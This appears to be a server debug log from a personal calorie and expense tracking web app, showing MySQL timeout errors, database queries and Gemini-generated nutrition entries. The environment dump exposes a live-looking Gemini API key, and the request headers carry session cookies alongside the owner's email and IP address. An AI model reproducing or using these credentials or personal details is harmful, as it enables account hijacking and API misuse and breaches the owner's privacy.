      amount: '71.00',
      item_name: 'Vegetables',
      unit: 'Other'
    }
  ]
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-13 06:45:59' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-13 06:45:59' as DATETIME)"
}
2025-12-13T06:49:52.794Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-13T06:49:52.796Z server-connect:app Executing action step identify
2025-12-13T06:49:52.796Z server-connect:app options: { provider: 'security' }
2025-12-13T06:49:52.796Z server-connect:output identity: 1
2025-12-13T06:49:52.796Z server-connect:app Executing action step restrict
2025-12-13T06:49:52.796Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T06:49:52.798Z server-connect:output restrict: undefined
2025-12-13T06:49:52.798Z server-connect:app Executing action step processWithGemini
2025-12-13T06:49:52.798Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-13T06:50:05.287Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Milk Tea (without sugar)',
      quantity: "1 cup (approx 200ml, assuming 75ml full-fat cow's milk and 125ml brewed black tea)",
      total_calories: 48,
      protein: 2.4,
      carbs: 3.8,
      fat: 2.5,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Milk tea without sugar is a generally good choice, especially for someone with your activity level and muscle development goals. Milk provides essential protein and calcium, beneficial for muscle repair and bone health. By skipping sugar, you avoid empty calories and added sugars, making it a much healthier beverage choice.'
    }
  ],
  total_summary: {
    total_calories: 48,
    total_protein: 2.4,
    total_carbs: 3.8,
    total_fat: 2.5,
    macro_unit: 'g'
  }
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-13 06:50:36' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-13 06:50:36' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-13 06:53:36' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-13 06:53:36' as DATETIME)"
}
2025-12-13T07:02:31.537Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-13T07:02:31.538Z server-connect:app Executing action step identify
2025-12-13T07:02:31.538Z server-connect:app options: { provider: 'security' }
2025-12-13T07:02:31.538Z server-connect:output identity: 1
2025-12-13T07:02:31.538Z server-connect:app Executing action step restrict
2025-12-13T07:02:31.538Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T07:02:31.540Z server-connect:output restrict: undefined
2025-12-13T07:02:31.540Z server-connect:app Executing action step condition
2025-12-13T07:02:31.540Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-13T07:02:31.540Z server-connect:app Executing action step repeat
2025-12-13T07:02:31.540Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-13T07:02:31.540Z server-connect:app Executing action step insert
2025-12-13T07:02:31.540Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-13T07:02:31.542Z server-connect:output calories: { affected: 1, identity: 374 }
2025-12-13T07:02:31.542Z server-connect:output repeat: [ {} ]
2025-12-13T07:02:31.542Z server-connect:output condition: undefined
2025-12-13T07:02:31.768Z server-connect:router Serving templateView /calorie-tracker
2025-12-13T07:02:31.768Z server-connect:app Executing action step identify
2025-12-13T07:02:31.768Z server-connect:app options: { provider: 'security' }
2025-12-13T07:02:31.769Z server-connect:output identity: 1
2025-12-13T07:02:31.769Z server-connect:app Executing action step restrict
2025-12-13T07:02:31.769Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T07:02:31.769Z server-connect:output restrict: undefined
2025-12-13T07:02:31.769Z server-connect:router Render template layouts/main
2025-12-13T07:02:31.769Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T06:28:58.121Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-13T07:02:32.454Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-13T07:02:32.454Z server-connect:app Executing action step identify
2025-12-13T07:02:32.454Z server-connect:app options: { provider: 'security' }
2025-12-13T07:02:32.455Z server-connect:output identity: 1
2025-12-13T07:02:32.455Z server-connect:app Executing action step restrict
2025-12-13T07:02:32.455Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T07:02:32.455Z server-connect:output restrict: undefined
2025-12-13T07:02:32.456Z server-connect:app Executing action step single
2025-12-13T07:02:32.456Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-13T07:02:32.458Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-13T07:02:32.459Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-13T07:02:32.460Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-13T07:02:32.461Z server-connect:app Executing action step identify
2025-12-13T07:02:32.461Z server-connect:app options: { provider: 'security' }
2025-12-13T07:02:32.462Z server-connect:output identity: 1
2025-12-13T07:02:32.462Z server-connect:app Executing action step restrict
2025-12-13T07:02:32.462Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T07:02:32.462Z server-connect:app Executing action step identify
2025-12-13T07:02:32.462Z server-connect:app options: { provider: 'security' }
2025-12-13T07:02:32.462Z server-connect:output identity: 1
2025-12-13T07:02:32.462Z server-connect:app Executing action step restrict
2025-12-13T07:02:32.462Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T07:02:32.462Z server-connect:output restrict: undefined
2025-12-13T07:02:32.463Z server-connect:app Executing action step single
2025-12-13T07:02:32.463Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-13T07:02:32.464Z server-connect:output restrict: undefined
2025-12-13T07:02:32.464Z server-connect:app Executing action step select
2025-12-13T07:02:32.464Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-13T07:02:32.465Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-13T07:02:32.465Z server-connect:app Executing action step select
2025-12-13T07:02:32.465Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-13T07:02:32.466Z server-connect:output item_list: [
  {
    id: 371,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop (6.5 gm)',
    replacements: 'Black coffee,Water',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 1,
    skip_reason: 'Enhances performance and focus during early morning workouts without significant caloric intake. Beneficial for muscle development goal.'
  },
  {
    id: 372,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Paneer',
    calories: 145,
    protein_gm: 9,
    carbs_gm: 2,
    fat_gm: 11,
    quantity: '50 gm',
    replacements: 'Low-fat paneer (reduced fat content, fewer calories),Tofu (lower fat, good protein),Chicken breast (lean protein, low fat),Egg whites (pure protein, no fat),Greek yogurt (high protein, often low fat)',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of high-quality protein and healthy fats, crucial for muscle repair, growth, and satiety, especially important for a muscle development goal with consistent gym activity.'
  },
  {
    id: 373,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Sugar Tea',
    calories: 102,
    protein_gm: 3,
    carbs_gm: 15,
    fat_gm: 4,
    quantity: '1 small cup (approx 100ml full-fat milk, 10g sugar)',
    replacements: 'Black tea (0 calories),Green tea (0 calories),Tea with artificial sweetener (e.g., stevia, sucralose),Tea with skim milk or low-fat milk (reduced calories, fat),Tea with less sugar or no sugar',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 3,
    skip_reason: 'This item is high in added sugar, providing empty calories that contribute minimally to muscle development and can hinder fat loss efforts. For someone with a desk job and a muscle development goal, minimizing added sugars is key to maintaining a lean physique and optimizing nutrient intake. Full-fat milk also adds unnecessary calories and saturated fat that could be optimized by using skim or low-fat milk.'
  },
  {
    id: 374,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 48,
    protein_gm: 2,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: "1 cup (approx 200ml, assuming 75ml full-fat cow's milk and 125ml brewed black tea)",
    replacements: 'Tea with skim milk or low-fat milk,Black tea or green tea (zero calories),Herbal tea',
    created_at: '2025-12-13T01:32:31.000Z',
    skip_level: 1,
    skip_reason: 'Milk tea without sugar is a generally good choice, especially for someone with your activity level and muscle development goals. Milk provides essential protein and calcium, beneficial for muscle repair and bone health. By skipping sugar, you avoid empty calories and added sugars, making it a much healthier beverage choice.'
  }
]
2025-12-13T07:02:32.466Z server-connect:app Executing action step setvalue
2025-12-13T07:02:32.466Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-13T07:02:32.466Z server-connect:output var_total: 305
2025-12-13T07:02:32.466Z server-connect:app Executing action step setvalue
2025-12-13T07:02:32.466Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-13T07:02:32.466Z server-connect:output var_consumed: 13
2025-12-13T07:02:32.466Z server-connect:app Executing action step setvalue
2025-12-13T07:02:32.467Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-13T07:02:32.467Z server-connect:output var_deficit: 2095
2025-12-13T07:02:32.467Z server-connect:app Executing action step custom
2025-12-13T07:02:32.467Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-13T07:02:32.469Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
